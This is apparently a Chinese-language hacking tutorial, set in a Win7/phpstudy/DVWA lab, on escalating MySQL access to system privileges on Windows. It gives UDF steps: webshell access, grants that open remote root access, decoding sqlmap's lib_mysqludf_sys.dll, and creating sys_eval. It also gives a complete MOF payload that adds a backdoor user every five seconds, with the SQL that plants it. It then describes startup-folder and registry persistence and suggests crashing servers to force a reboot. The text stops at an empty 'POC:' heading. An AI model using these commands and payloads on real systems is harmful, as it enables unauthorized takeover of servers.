UDF提权

所用环境:Win7+phpstudy+dvwa

1.UDF提权前置知识

UDF介绍:

我们自定义的函数才被当作本机函数执行。在使用CREATE FUNCITON调用dll中的函数后,mysql账 号转化为system权限,从而来提权。

UDF提权条件:

2.UDF提权流程

(1、通过网站漏洞获取一个shell,如webshell:




mysql sudo提权方式_web安全


(2、查找数据库账号密码

C:/phpstudy_pro/WWW/DVWA/DVWA/config/config.inc.php


mysql sudo提权方式_网络安全_02


(3、通过navicat连接数据库


mysql sudo提权方式_网络安全_03


如果无法远程连接的话,可以在后端数据库中进行授权

grant all privileges on *.* to root@'%' identified by 'root';


mysql sudo提权方式_web安全_04


当然如果是实际的环境中,无法连接数据库,那就没有办法了

新建查询,查询Mysql系统位数:64位数


mysql sudo提权方式_mysql_05


查询plugin路径,用以存放插件

show variables like '%plugin%';

可知路径为C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\


mysql sudo提权方式_mysql sudo提权方式_06


查看secure_file_priv是否为NULL,确定是否能够对mysql导入导出,此处我们看是不为NULL的


mysql sudo提权方式_web安全_07


(4、制作提权dll

sqlmap中有编码后的dll文件,路径为 sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll_ sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_

需要利用cloak.py进行解码获得mysqludf_sys.dll,cloak.py在sqlmap的sqlmap\extra\cloak\目录下 python cloak.py -d -i lib_mysqludf_sys.dll_ # windows 环境允许以下命令 python cloak.py -d -i D:\\huanjing\\python\\Python38\\sqlmap\\data\\udf\\mysql\\windows\\64\\lib_mysql udf_sys.dll_


mysql sudo提权方式_mysql_08


(5、将dll文件上传到C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\目录


mysql sudo提权方式_网络安全_09


如果没有相应的路径则需要自己创建

(6、创建sys_eval函数,提权

create function sys_eval returns string soname 'lib_mysqludf_sys.dll';


mysql sudo提权方式_mysql sudo提权方式_10


# 允许数据库远程连接 grant all privileges on *.* to "root"@"%" identified by "密码"; # 创建用户 CREATE USER 'admin'@'%' IDENTIFIED BY 'pwd123'; # 授予用户dvwa库权限 grant all on dvwa.* to 'admin'@'%'; # Mysql配置文件增加 srcure-file-priv选项 secure_file_priv= 使用函数进行提权:select sys_eval('whoami');


mysql sudo提权方式_mysql_11


但是我们这里还是一个普通用户

之所以提权失败,是因为后端数据库所用的并不是最高权限账户

我们切换到administrator,再次执行select sys_eval('whoami');发现提权成功


mysql sudo提权方式_web安全_12


MOF漏洞及启动项提权

1.MOF提权

条件: 1. windows 03及以下版本 2. mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录 3. secure-file-priv参数不为null 原理: MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof, 然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段 vbs脚本的内容让系统执行命令,进行提权。

mof利用代码:

#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test 123456 /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; }; 提权过程: 将上面的脚本上传到有读写权限的目录下 C:/phpstudy_pro/1.mof 然后使用sql语句将文件导入到c:/windows/system32/wbem/mof/下 : select load_file("C:/phpstudy_pro/1.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

当我们成功把mof导出时,mof就会直接被执行,且5秒创建一次test用户。

启动项提权

条件:file_priv 不为null、已知root密码 写入一段VBS代码到开机自启动中,服务器重启达到创建用户并提权,可以配合ms12-020,ms15-034 等漏洞将服务器打蓝屏迫使服务器重启。

1、开始菜单当前用户启动文件夹-- C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 2、开始菜单所有用户启动文件夹-- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 3、注册表当前用户开机启动项目录-- HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4、注册表所有用户开机启动项目录-- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

利用POC: